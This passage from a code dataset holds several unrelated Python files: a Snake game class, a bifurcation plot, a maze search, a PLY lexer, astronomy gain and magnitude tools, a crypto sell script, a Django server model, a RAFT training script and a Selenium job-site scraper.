tail\n\n Args:\n None\n\n Returns:\n The block representing the old tail of the snake. This block will be erase when the \n snake moves\n \"\"\"\n head_x = self._body[0].get_x()\n head_y = self._body[0].get_y()\n\n tail = self._body[self._length - 1] # Get the old tail\n\n # Move all the blocks except for the head forward\n for i in range(self._length - 1, 0, -1):\n self._body[i] = self._body[i - 1]\n\n self._body[0] = Block(head_x + Snake.SNAKE_BLOCK_SIZE[0], head_y, Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n\n return tail\n\n def move_up(self) -> None:\n \"\"\"\n Turn the current direction of the Snake to go up and return the old tail\n\n Args:\n None\n\n Returns:\n The block representing the old tail of the snake. This block will be erase when the \n snake moves\n \"\"\"\n head_x = self._body[0].get_x()\n head_y = self._body[0].get_y()\n\n tail = self._body[self._length - 1] # Get the old tail\n\n # Move all the blocks except for the head forward\n for i in range(self._length - 1, 0, -1):\n self._body[i] = self._body[i - 1]\n\n self._body[0] = Block(head_x, head_y - Snake.SNAKE_BLOCK_SIZE[1], Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n\n return tail\n\n def move_down(self) -> None:\n \"\"\"\n Turn the current direction of the Snake to go down\n\n Args:\n None\n\n Returns:\n The block representing the old tail of the snake. This block will be erase when the \n snake moves\n \"\"\"\n head_x = self._body[0].get_x()\n head_y = self._body[0].get_y()\n\n tail = self._body[self._length - 1] # Get the old tail\n\n # Move all the blocks except for the head forward\n for i in range(self._length - 1, 0, -1):\n self._body[i] = self._body[i - 1]\n\n self._body[0] = Block(head_x, head_y + Snake.SNAKE_BLOCK_SIZE[1], Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n\n return tail\n\n def die(self) -> None:\n \"\"\"\n Makes the current Snake die\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n self._dead = True\n\n\n def teleport(self, new_coordinate: Tuple[int, int]) -> None:\n \"\"\"\n Teleport the snake to the given position (used when the snake go to the edge of the screen)\n\n Args:\n new_coordinate (Tuple[int, int]): The new coordinate of the snake\n\n Returns:\n None\n \"\"\"\n self._body[0].set_x(new_coordinate[0])\n self._body[0].set_y(new_coordinate[1])\n\n def eat_fruit(self, direction: str, fruit: Block) -> None:\n \"\"\"\n Eat the fruit and increase the size of the snake\n\n Args:\n direction (str): The direction the snake is moving in \n fruit (Block): The fruit\n\n Returns:\n None\n \"\"\"\n new_block = None\n if direction == 'W':\n new_block = Block(fruit.get_x(), fruit.get_y() - Snake.SNAKE_BLOCK_SIZE[0], Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n elif direction == 'S':\n new_block = Block(fruit.get_x(), fruit.get_y() + Snake.SNAKE_BLOCK_SIZE[0], Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n elif direction == 'A':\n new_block = Block(fruit.get_x() - Snake.SNAKE_BLOCK_SIZE[0], fruit.get_y(), Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n elif direction == 'D':\n new_block = Block(fruit.get_x() + Snake.SNAKE_BLOCK_SIZE[0], fruit.get_y(), Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n\n self._body = [new_block] + self._body\n self._length += 1\n\n def remove_tail(self) -> Block:\n \"\"\"\n Removes the tail of the snake\n\n Args:\n None\n\n Returns:\n The removed Block representing the tail of the snake\n \"\"\"\n tail = self._body.pop()\n self._length -= 1\n return tail\n \n def draw(self, screen: pygame.Surface) -> List[pygame.Rect]:\n \"\"\"\n Draw the whole Snake on the screen and returns the updated areas (for updating purpose)\n\n Args:\n The screen the the snake will be drawn on\n\n Returns:\n The List of pygame.Rect objects where the snake is drawn\n \"\"\"\n rect = []\n for block in self._body:\n surface = block.draw()\n screen.blit(surface, block.get_coordinate())\n rect.append(pygame.Rect(block.get_coordinate(), Snake.SNAKE_BLOCK_SIZE))\n\n return rect\n","sub_path":"Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":8158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"555525916","text":"import matplotlib.pyplot as plt\r\n\r\nx = .1 # normalized initial population (in 0-1 range)\r\n\r\n\r\nxfin = []\r\nr = 1.5 # initial r parameter\r\nrEnd = 4 # final r value; 4 makes sense because of mathematical and practical properties of attractor\r\nstep = 0.01\r\ntries = 100\r\n\r\n\r\nnextx = 0\r\nplt.figure()\r\nwhile(r<rEnd):\r\n for i in range(tries):\r\n nextx = r*x*(1-x)\r\n xfin.append(nextx)\r\n x = nextx\r\n if (r<3.5) & (i > 31) & (i <= 64):\r\n # because in these region x oscilates between some values,\r\n # we display 32 of them (if there are less than 32, points will cover each other\r\n plt.scatter(r, x, c='black', s=1)\r\n elif (r >= 3.5) & (i > tries-50): # for r above 3.5 attractor is chaotic, so last 50 results are plotted\r\n plt.scatter(r, x, c='black', s=1)\r\n\r\n if r < 3: # for low r values last x value is plotted\r\n plt.scatter(r, x, c='black', s=1)\r\n\r\n\r\n x = .1\r\n nextx = 0\r\n r = r+step\r\n print(r)\r\nplt.show()\r\n","sub_path":"Feigenbaum attractor.py","file_name":"Feigenbaum attractor.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"319137659","text":"from collections import deque\n\nh, w = [int(i) - 1 for i in input().split()]\nans = 0\nmaze = []\nfor i in range(h + 1):\n s = list(input())\n maze.append(s)\n ans += s.count(\".\")\n\npos = deque([[0, 0, 0]])\n\nwhile pos:\n y, x, b = pos.popleft()\n for ny, nx in [[1, 0], [-1, 0], [0, 1], [0, -1]]:\n if y + ny == h and x + nx == w:\n print(ans - b - 2)\n exit()\n if 0 <= y + ny <= h and 0 <= x + nx <= w and maze[y + ny][x + nx] == \".\":\n pos.append([y + ny, x + nx, b + 1])\n maze[y + ny][x + nx] = \"#\"\nprint(-1)","sub_path":"Python_codes/p03436/s511247597.py","file_name":"s511247597.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"269620925","text":"import sys\nimport ply.lex as lex\n\nreserved = {\n 'PLEASE': 'PLEASE',\n 'THANKS': 'THANKS',\n 'TRUE': 'TRUE',\n 'FALSE': 'FALSE',\n 'VAR': 'VAR',\n 'SIZE': 'SIZE_OPERATOR',\n 'LOGITIZE': 'LOGITIZE_OPERATOR',\n 'DIGITIZE': 'DIGITIZE_OPERATOR',\n 'REDUCE': 'REDUCE_OPERATOR',\n 'EXTEND': 'EXTEND_OPERATOR',\n 'MXEQ': 'MXEQ_OPERATOR',\n 'MXLT': 'MXLT_OPERATOR',\n 'MXGT': 'MXGT_OPERATOR',\n 'MXLTE': 'MXLTE_OPERATOR',\n 'MXGTE': 'MXGTE_OPERATOR',\n 'ELEQ': 'ELEQ_OPERATOR',\n 'ELLT': 'ELLT_OPERATOR',\n 'ELGT': 'ELGT_OPERATOR',\n 'ELLTE': 'ELLTE_OPERATOR',\n 'ELGTE': 'ELGTE_OPERATOR',\n 'NOT': 'NOT_OPERATOR',\n 'AND': 'AND_OPERATOR',\n 'MXTRUE': 'MXTRUE_OPERATOR',\n 'MXFALSE': 'MXFALSE_OPERATOR',\n 'FOR': 'FOR',\n 'BOUNDARY': 'BOUNDARY',\n 'STEP': 'STEP',\n 'SWITCH': 'SWITCH',\n 'PRINT':'PRINT',\n\n # robot\n 'MOVE': 'MOVE',\n 'ROTATE': 'ROTATE',\n 'LEFT': 'LEFT',\n 'RIGHT': 'RIGHT',\n 'ENVIRONMENT': 'ENVIRONMENT',\n\n # function\n 'TASK': 'TASK',\n # 'FINDEXIT': 'FINDEXIT',\n 'RESULT': 'RESULT',\n 'DO': 'DO',\n 'GET': 'GET'\n}\n\n\nclass lexer(object):\n\n def __init__(self):\n self.lexer = lex.lex(module=self)\n\n tokens = ['OCT_NUMBER', 'HEX_NUMBER', 'DEC_NUMBER', 'VARIABLE',\n 'ASSIGNMENT', 'PLUS', 'MINUS', 'MULTIPLY', 'DIVIDE',\n 'LBRACKET', 'RBRACKET',\n 'OS_BRACKET', 'CS_BRACKET', 'QUOTE',\n 'COMMA', 'NEWLINE'] + list(reserved.values())\n\n precedence = (\n ('right', 'ASSIGNMENT'),\n ('left', 'PLUS', 'MINUS'),\n ('left', 'MULTIPLY', 'DIVIDE'),\n ('left', 'AND_OPERATOR'),\n ('right',\n 'LOGITIZE_OPERATOR',\n 'DIGITIZE_OPERATOR',\n 'REDUCE_OPERATOR',\n 'EXTEND_OPERATOR',\n 'SIZE_OPERATOR',\n 'MXEQ_OPERATOR',\n 'MXLT_OPERATOR',\n 'MXGT_OPERATOR',\n 'MXLTE_OPERATOR',\n 'MXGTE_OPERATOR',\n 'ELEQ_OPERATOR',\n 'ELLT_OPERATOR',\n 'ELGT_OPERATOR',\n 'ELLTE_OPERATOR',\n 'ELGTE_OPERATOR',\n 'NOT_OPERATOR',\n 'MXTRUE_OPERATOR',\n 'MXFALSE_OPERATOR'\n )\n )\n\n t_ASSIGNMENT = r'\\='\n t_PLUS = r'\\+'\n t_MINUS = r'\\-'\n t_MULTIPLY = r'\\*'\n t_DIVIDE = r'\\/'\n\n t_OS_BRACKET = r'\\['\n t_CS_BRACKET = r'\\]'\n\n t_QUOTE = r'\"'\n\n t_LBRACKET = r'\\('\n t_RBRACKET = r'\\)'\n\n t_COMMA = r'\\,'\n\n @staticmethod\n def t_OCT_NUMBER(t):\n r'[0][0-9]+'\n t.value = int(t.value, 8)\n return t\n\n @staticmethod\n def t_HEX_NUMBER(t):\n r'[0x][0-9A-F]+'\n t.value = int(t.value, 16)\n return t\n\n @staticmethod\n def t_DEC_NUMBER(t):\n r'[1-9][0-9]*|[0]'\n t.value = int(t.value)\n return t\n\n @staticmethod\n def t_VARIABLE(t):\n r'[a-zA-Z_][a-zA-Z_0-9]*'\n t.type = reserved.get(t.value, 'VARIABLE')\n return t\n\n @staticmethod\n def t_NEWLINE(t):\n r'\\n+'\n t.lexer.lineno += t.value.count('\\n')\n t.lexer.linestart = t.lexer.lexpos\n return t\n\n @staticmethod\n def t_error(t):\n sys.stderr.write(f'Error: Illegal character: {t.value[0]} at line {t.lexer.lineno}\\n')\n t.lexer.skip(1)\n\n t_ignore = ' \\t'\n\n def input(self, _data):\n return self.lexer.input(_data)\n\n def token(self):\n return self.lexer.token()\n\n\nif __name__ == '__main__':\n f = open('../Interpreter/Program.txt')\n data = f.read()\n f.close()\n lexer = lexer()\n lexer.input(data)\n while True:\n token = lexer.token()\n if token is None:\n break\n else:\n print(token)\n","sub_path":"Lexer/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"623501954","text":"\"\"\" Make a plot or two to check the gains \"\"\"\nfrom astropy.io.fits.util import _extract_number\nimport numpy as np\nimport os\n\nfrom matplotlib import pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nfrom pypeit import flatfield\n\nfrom IPython import embed\n\ndef calc_cuts(master_file:str, namp:int=4):\n if namp != 4:\n raise IOError(\"Not ready for this value yet!\")\n # Load\n flatImages = flatfield.FlatImages.from_file(master_file)\n\n # Mid points\n spat_mid = flatImages.pixelflat_raw.shape[1]//2\n spec_mid = flatImages.pixelflat_raw.shape[0]//2\n\n # Cuts\n L1L2_spec = np.median(flatImages.pixelflat_raw[:,spat_mid-3:spat_mid], axis=1)\n U1U2_spec = np.median(flatImages.pixelflat_raw[:,spat_mid:spat_mid+3], axis=1)\n\n L2U2_spat = np.median(flatImages.pixelflat_raw[spec_mid:spec_mid+3, :], axis=0)\n L1U1_spat = np.median(flatImages.pixelflat_raw[spec_mid-3:spec_mid, :], axis=0)\n\n return L1L2_spec, U1U2_spec, L1U1_spat, L2U2_spat\n\ndef calc_gains(master_file:str, namp:int=4):\n if namp != 4:\n raise IOError(\"Not ready for this value yet!\")\n # Load\n flatImages = flatfield.FlatImages.from_file(master_file)\n\n # Cut me\n L1L2_spec, U1U2_spec, L1U1_spat, L2U2_spat = calc_cuts(master_file, namp=namp)\n\n # L2 / L1\n rtio_spat = L2U2_spat / L1U1_spat\n half_spat = rtio_spat.size // 2\n\n # Assume longslit \n L2_L1 = np.median(rtio_spat[half_spat-250:half_spat])\n correct_L2L1 = 1./L2_L1\n\n # U2 / U1\n U2_U1 = np.median(rtio_spat[half_spat:half_spat+250])\n correct_U2U1 = 1./U2_U1\n\n # U1 / L1 \n rtio_spec = U1U2_spec / L1L2_spec\n half_spec = rtio_spec.size // 2\n\n U1_L1 = np.median(rtio_spec[half_spec-250:half_spec])\n correct_U1L1 = 1./U1_L1\n\n # U1 / L1 \n\n # Time to print\n print(f\"Correct L2 by: {correct_L2L1}\")\n print(f\"Correct U1 by: {correct_U1L1}\")\n print(f\"Correct U2 by: {correct_U1L1 * correct_U2U1}\")\n\ndef plot_gains(master_file:str, namp:int=4, outfile:str='gain_plots.png'):\n if namp != 4:\n raise IOError(\"Not ready for this value yet!\")\n\n # Cut me\n left_spec, right_spec, bot_spat, top_spat = calc_cuts(master_file, namp=namp)\n\n # Ratios\n rtio_spec = left_spec/right_spec\n rtio_spat = top_spat/bot_spat\n\n # Plot\n fig = plt.figure(figsize=(9, 5))\n plt.clf()\n gs = gridspec.GridSpec(1,2)\n\n # Spec\n for kk, rtio, lbl, clr in zip(np.arange(2), [rtio_spec, rtio_spat], \n ['spec', 'spat'], ['k', 'r']):\n ax= plt.subplot(gs[kk])\n # \n ax.plot(rtio, color=clr)\n ax.set_xlabel(lbl)\n ax.set_ylabel('ratio')\n ax.set_ylim(0.95, 1.05)\n if lbl == 'spat':\n ax.set_xlim(1400, 2600)\n\n\n plt.tight_layout(pad=0.5, h_pad=0.5, w_pad=0.5)\n plt.savefig(outfile, dpi=300)\n plt.close()\n print('Wrote {:s}'.format(outfile))\n\n\n# Calc gains for corrections using a longslit\n#rdx_path = './'\nrdx_path = '/scratch/REDUX/Keck/LRIS/new_LRISr/keck_lris_red_mark4_A'\norig_master_file = os.path.join(rdx_path, 'Masters', 'MasterFlat_A_1_01.fits')\ncalc_gains(orig_master_file)\n\n# Plot Gains for the corrected image\nrdx_path = '/scratch/REDUX/Keck/LRIS/new_LRISr/keck_lris_red_mark4_A'\n#rdx_path = '/scratch/REDUX/Keck/LRIS/new_LRISr/keck_lris_red_mark4_C'\nnew_master_file = os.path.join(rdx_path, 'Masters', 'MasterFlat_A_1_01.fits')\nplot_gains(new_master_file)\n","sub_path":"dev_algorithms/lris/chk_lris_mark4_gain.py","file_name":"chk_lris_mark4_gain.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"489707543","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 9 08:26:34 2018\n\n@author: H124036822\n\"\"\"\nimport os\nos.chdir(\"D:\\\\Python36\\\\python\\\\NBA\")\nimport cex\nimport time\nimport datetime\n\nauth = cex.sign(apikey, secret, userid)\n\nif __name__ == '__main__':\n cost = float(input(\"Cost Price: \"))\n amt = float(input(\"Amount: \"))\n re = float(input(\"%: \"))*0.01\n print(\"Start\")\n eth=cex.price(\"ETH\")\n sellP=0\n \n price=[]\n \n while(True):\n print(\"Watching@\")\n#Sell\n if float(eth.last_price()['lprice'])>cost*(1.004+re):\n print(\"Over Cost!\")\n price.append(float(eth.last_price()['lprice']))\n if len(price) >= 4:\n if (((price[-3]-price[-4])>0) & ((price[-2]-price[-3])>0) & ((price[-1]-price[-2])>0)):\n print(\"Over three 10min-K!!\")\n price2=[price[-1]]\n while(True):\n print(\"Watching@2\")\n price2.append(float(eth.last_price()['lprice']))\n if len(price2) >= 2:\n if(((price2[-1]-price2[-2])<0) & ((price2[-2]-price2[-1])/price2[-2]>0.006)):\n sellP = float(eth.last_price()['lprice'])-0.01\n cex.private(auth.auth_request()).order_sell(\"ETH\", \"USD\", amt, sellP)\n print(\"Order Place! Time: {0}\".format(datetime.date.today().strftime('%Y%m%d-%H:%M:%S\"')))\n break;\n time.sleep(300)\n del price[0]\n else:\n price=[]\n if sellP>0:\n break;\n time.sleep(600)\n","sub_path":"sell.py","file_name":"sell.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493986322","text":"from django.db import models\nfrom datetime import datetime\nfrom apps.ip.models import NetworkAddress\nfrom django.core.validators import RegexValidator, validate_ipv4_address\n\nclass Server(models.Model):\n TYPE_CHOICES = (\n ('KVM', 'Virtual - KVM'),\n ('VMWARE', 'Virtual - Vmware'),\n ('COLO', 'Physical - Colocated'),\n ('FARM', 'Physical - Farmed'),\n )\n\n name = models.CharField(max_length=256, validators=[RegexValidator(regex=\"^[a-zA-Z0-9 \\',.-]*$\", message='Only alphanumeric characters, spaces, commas, periods, hyphens and apostraphes are allowed.'),])\n ip = models.ForeignKey(NetworkAddress, blank=True, null=True)\n os = models.CharField(max_length=64, blank=True, null=True, validators=[RegexValidator(regex=\"^[a-zA-Z0-9 \\',.-]*$\", message='Only alphanumeric characters, spaces, commas, periods, hyphens and apostraphes are allowed.'),])\n username = models.CharField(max_length=64, blank=True, null=True, validators=[RegexValidator(regex=\"^[a-zA-Z0-9.-]*$\", message='Only alphanumeric characters, periods, and hyphens are allowed.'),])\n password = models.CharField(max_length=256, blank=True, null=True)\n location = models.CharField(max_length=64, blank=True, null=True, validators=[RegexValidator(regex='^[a-zA-Z0-9 \\\\/(),.-]*$', message='Only alphanumeric characters, spaces, slashes, commas, periods, parentheses, and hyphens are allowed.'),])\n notes = models.TextField(blank=True, null=True)\n uplink = models.CharField(max_length=256, blank=True, null=True)\n type = models.CharField(choices=TYPE_CHOICES, max_length=64)\n sid = models.CharField(max_length=128, blank=True, null=True)\n created = models.DateTimeField(editable=False)\n modified = models.DateTimeField()\n\n def __unicode__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n ''' On save, update timestamps '''\n if not self.id:\n self.created = datetime.today()\n self.modified = datetime.today()\n super(Server, self).save(*args, **kwargs)\n\n def dump_to_dict(self, full=False):\n response = {\n 'id': self.pk,\n 'name': self.name,\n 'os': self.os,\n 'type': self.type,\n 'sid': self.sid\n }\n\n if self.ip:\n response.update({\n 'ip': {\n 'address': str(self.ip.address),\n 'cidr': self.ip.cidr\n }\n })\n else:\n response.update({'ip': \"\"})\n\n if full is True:\n response.update({\n 'username': self.username,\n 'password': self.password,\n 'location': self.location,\n 'uplink': self.uplink,\n 'notes': self.notes\n })\n\n return response\n","sub_path":"supportportal/apps/servers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189616785","text":"import os\nimport sys\nimport yaml\nimport argparse\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nfrom datetime import datetime\n\nfrom tf_raft.model import RAFT, SmallRAFT\nfrom tf_raft.losses import sequence_loss, end_point_error\nfrom tf_raft.datasets import FlyingChairs, ShapeSetter, CropOrPadder\nfrom tf_raft.training import VisFlowCallback, first_cycle_scaler\n\n\ndef train(config, logdir):\n try:\n data_config = config['data']\n root = data_config['root']\n split_txt = data_config['split_txt']\n\n aug_params = config['augment']\n crop_size = aug_params['crop_size']\n\n model_config = config['model']\n iters = model_config['iters']\n iters_pred = model_config['iters_pred']\n\n train_config = config['train']\n epochs = train_config['epochs']\n batch_size = train_config['batch_size']\n learning_rate = train_config['learning_rate']\n weight_decay = train_config['weight_decay']\n clip_norm = train_config['clip_norm']\n\n vis_config = config['visualize']\n num_visualize = vis_config['num_visualize']\n choose_random = vis_config['choose_random']\n except ValueError:\n print('invalid arguments are given')\n\n # training set\n ds_train = FlyingChairs(aug_params,\n split='training',\n split_txt=split_txt,\n root=root)\n ds_train.shuffle()\n train_size = len(ds_train)\n print(f'Found {train_size} samples for training')\n\n ds_train = tf.data.Dataset.from_generator(\n ds_train,\n output_types=(tf.uint8, tf.uint8, tf.float32, tf.bool),\n )\n ds_train = ds_train.repeat(epochs)\\\n .batch(batch_size)\\\n .map(ShapeSetter(batch_size, crop_size))\\\n .prefetch(buffer_size=1)\n\n # validation set\n ds_val = FlyingChairs(split='validation',\n split_txt=split_txt,\n root=root)\n val_size = len(ds_val)\n print(f'Found {val_size} samples for validation')\n \n ds_val = tf.data.Dataset.from_generator(\n ds_val,\n output_types=(tf.uint8, tf.uint8, tf.float32, tf.bool),\n )\n ds_val = ds_val.batch(1)\\\n .map(ShapeSetter(batch_size=1, image_size=(384, 512)))\\\n .prefetch(buffer_size=1)\n\n # for visualization\n ds_vis = FlyingChairs(split='validation',\n split_txt=split_txt,\n root=root) \n\n scheduler = tfa.optimizers.CyclicalLearningRate(\n initial_learning_rate=learning_rate,\n maximal_learning_rate=2*learning_rate,\n step_size=25000,\n scale_fn=first_cycle_scaler,\n scale_mode='cycle',\n )\n\n optimizer = tfa.optimizers.AdamW(\n weight_decay=weight_decay,\n learning_rate=scheduler,\n )\n\n raft = RAFT(drop_rate=0, iters=iters, iters_pred=iters_pred)\n raft.compile(\n optimizer=optimizer,\n clip_norm=clip_norm,\n loss=sequence_loss,\n epe=end_point_error\n )\n\n # print('Restoring pretrained weights ...', end=' ')\n # raft.load_weights(resume)\n # print('done')\n \n # total_parameters = 0\n # for variable in graph.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES):\n # # shape is an array of tf.Dimension\n # shape = variable.get_shape()\n # print(\"Size of the matrix: {}\".format(shape))\n # print(\"How many dimensions it has: {}\".format(len(shape)))\n # variable_parameters = 1\n # for dim in shape:\n # print(\"Dimension: {}\".format(dim))\n # variable_parameters *= dim.value\n # print(\"Total number of elements in a matrix: {}\".format(variable_parameters))\n # print(\"---------------------------------------------\")\n # total_parameters += variable_parameters\n # print(\"Total number of parameters: {}\". format(total_parameters))\n\n callbacks = [\n tf.keras.callbacks.TensorBoard(\n log_dir=logdir+'/history',\n histogram_freq=1,\n embeddings_freq=0, \n update_freq=\"batch\",\n write_graph=True\n ),\n VisFlowCallback(\n ds_vis,\n num_visualize=num_visualize,\n choose_random=choose_random,\n logdir=logdir+'/predicted_flows'\n ),\n tf.keras.callbacks.ModelCheckpoint(\n filepath=logdir+'/checkpoints/model',\n save_weights_only=True,\n monitor='val_epe',\n mode='min',\n save_best_only=True\n )\n ]\n\n # tensorboard_callback = tf.keras.callbacks.TensorBoard(logdir, histogram_freq=1)\n raft.fit(\n ds_train,\n epochs=epochs,\n callbacks=callbacks,\n steps_per_epoch=train_size//batch_size,\n validation_data=ds_val,\n validation_steps=val_size\n )\n\n raft.summary()\n\n\n\nif __name__ == '__main__':\n\n with open('training/configs/train_chairs.yml', 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n \n logd = config['logdir']\n logdir = os.path.join(logd, datetime.now().strftime(\"%Y-%m-%dT%H-%M\"))\n if not os.path.exists(logdir):\n os.makedirs(logdir)\n\n savepath = logdir + \"/config.yml\"\n with open(savepath, 'w') as f:\n f.write(yaml.dump(config, default_flow_style=False))\n\n print('\\n ------------------------ Config --------------------------- \\n')\n print(yaml.dump(config))\n print('\\n ----------------------------------------------------------- \\n')\n train(config, logdir)","sub_path":"training/train_single_dataset/train_chairs.py","file_name":"train_chairs.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481362921","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport time\nimport sys,os\nfrom selenium.webdriver.edge.options import Options\n# edge_options = Options()\n# edge_options.add_argument('--headless')\n# edge_options.add_argument('--disable-gpu')\n# browser1 = webdriver.Edge(edge_options=edge_options)\n\nbrowser1 = webdriver.Edge(r\"‪D:\\conda\\msedgedriver.exe\")\n# desired_capabilities = DesiredCapabilities.CHROME\n# desired_capabilities[\"pageLoadStrategy\"] = \"none\"\n# wait1 = WebDriverWait(browser1, 10)\n\nbrowser1.get(\"http://www.sina.cn/\")\n\n# @Time:2019/1/10 20:37\nfrom selenium import webdriver\n\n# 指定chrom的驱动\n# 执行到这里的时候Selenium会到指定的路径将chrome driver程序运行起来\ndriver = webdriver.Chrome('E:\\ChromDriver\\chromdriver2.43\\chromedriver.exe')\ndriver.implicitly_wait(10)\n\ndriver.get('https://www.51job.com/')\n# 点击高级搜索\ndriver.find_element_by_css_selector(\".more\").click()\n\n# 根据id找到关键字输入框,输入python\ndriver.find_element_by_id('kwdselectid').send_keys('python')\n\ndriver.find_element_by_xpath('//div[@class=\"tit\"]/span').click()\n# 点击工作地点\ndriver.find_element_by_id('work_position_input').click()\n\nimport time\n\ntime.sleep(2)\n\n# 用css方法找到所有的城市\ncityEles = driver.find_elements_by_css_selector('#work_position_click_center_right_list_000000 em')\n\n# 遍历元素,一个个城市去找\nfor one in cityEles:\n # 城市名\n cityname = one.text\n # 用之前学过的attribute方法获取class的值\n cassvalue = one.get_attribute('class')\n #\n if cityname == '杭州':\n if cassvalue != 'on':\n one.click()\n elif cityname != '杭州':\n if cassvalue == 'on':\n one.click()\n# 点击确定按钮\ndriver.find_element_by_id('work_position_click_bottom_save').click()\n# 点击职能类别\ndriver.find_element_by_id('funtype_click').click()\n# 选择计算机软件\ndriver.find_element_by_id('funtype_click_center_right_list_category_0100_0100').click()\n# 选择高级软件工程师\ndriver.find_element_by_id('funtype_click_center_right_list_sub_category_each_0100_0106').click()\n# 点击确定按钮\ndriver.find_element_by_id('funtype_click_bottom_save').click()\n# 点击公司性质\ndriver.find_element_by_id('cottype_list').click()\n# 选择外资欧美\ndriver.find_element_by_xpath('//*[@id=\"cottype_list\"]/div/span[2]').click()\n# 工作年限\ndriver.find_element_by_id('workyear_list').click()\n# 选择1~3年\ndriver.find_element_by_xpath('//*[@id=\"workyear_list\"]/div/span[3]').click()\n# 点击搜索\ndriver.find_element_by_xpath('//div[@class=\"btnbox p_sou\"]/span').click()\n# 或者\n# driver.find_element_by_xpath('//*[@id=\"saveSearch\"]/preceding-sibling::span').click()\n# 找职位\njobs = driver.find_elements_by_css_selector('#resultList div.el')\n\nfor job in jobs[1:]:\n # span是一个列表\n spans = job.find_elements_by_tag_name('span')\n # 列表生成式\n fields = [span.text for span in spans]\n print(fields)\n\n# 退出\ndriver.quit()\n","sub_path":"Backups/Reptile/EdgeSelenium.py","file_name":"EdgeSelenium.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469332481","text":"\n\n#calss header\nclass _SUPPORTABLE():\n\tdef __init__(self,): \n\t\tself.name = \"SUPPORTABLE\"\n\t\tself.definitions = [u'A supportable argument, statement, etc. can be shown to be true using evidence.', u'If something bad is supportable, you are able to accept it or continue despite it: ', u'used to describe an activity that can continue without problems: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_supportable.py","file_name":"_supportable.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"363776048","text":"#! /usr/bin/env \n\nimport numpy as np\nimport sys\nimport os\n\nimport astropy.io.fits as pyfits\n\n\ndef filelines(filename):\n linenum=0\n with open(filename) as f:\n for row in f:\n linenum+=1\n return linenum\n\n\ndef weighted_avg(mags,magerrs):\n\n tot_weight=0\n dum=0\n for mag_el,magerr_el in zip(mags,magerrs):\n weight=1./magerr_el**2\n tot_weight+=1./magerr_el**2\n dum+=mag_el*weight\n\n avg_mag=dum/tot_weight\n\n inv_sqr_mag=[1./x**2 for x in magerrs]\n avg_magerr=np.sqrt( 1./np.sum(inv_sqr_mag) )\n\n return [avg_mag,avg_magerr]\n\n \n\ndef get_avg_mag_magerr(mag,magerr):\n \"\"\"\n Flux averaged magnitudes\n \"\"\"\n\n fluxes=[]\n fluxerrs=[]\n \n for mag_el,magerr_el in zip(mag,magerr):\n flux_el=10**( (mag_el-25.)/(-2.5) )\n fluxerr_el=flux_el*magerr_el/1.0857\n\n fluxes.append(flux_el)\n fluxerrs.append(fluxerr_el)\n\n # wavg flux\n tot_weight=0\n dum=0\n for flux_el,fluxerr_el in zip(fluxes,fluxerrs):\n weight=1./fluxerr_el**2\n tot_weight+=1./fluxerr_el**2\n dum+=flux_el*weight \n\n avg_flux=dum/tot_weight\n\n inv_sqr_flux=[1./x**2 for x in fluxerrs]\n avg_fluxerr=np.sqrt( 1./np.sum(inv_sqr_flux) )\n\n #print fluxes,fluxerrs\n #print avg_flux,avg_fluxerr\n \n avg_mag=-2.5*np.log10(avg_flux)+25\n avg_magerr=avg_fluxerr*1.0857/avg_flux\n\n return [avg_mag,avg_magerr]\n\n\n\ndef get_avg_apcors():\n\n first_band_apcors=list()\n first_band_apcorerrs=list()\n second_band_apcors=list()\n second_band_apcorerrs=list()\n \n # first band\n for image_name in first_band_image_names:\n \n with open(\"all_meas_apcor.dat\") as f:\n \n # record data values for a given band+image combo \n # before averging\n temp_apcor=list()\n temp_apcorerr=list()\n \n for row in f:\n parts=row.split()\n \n \n if parts[0] == image_name:\n 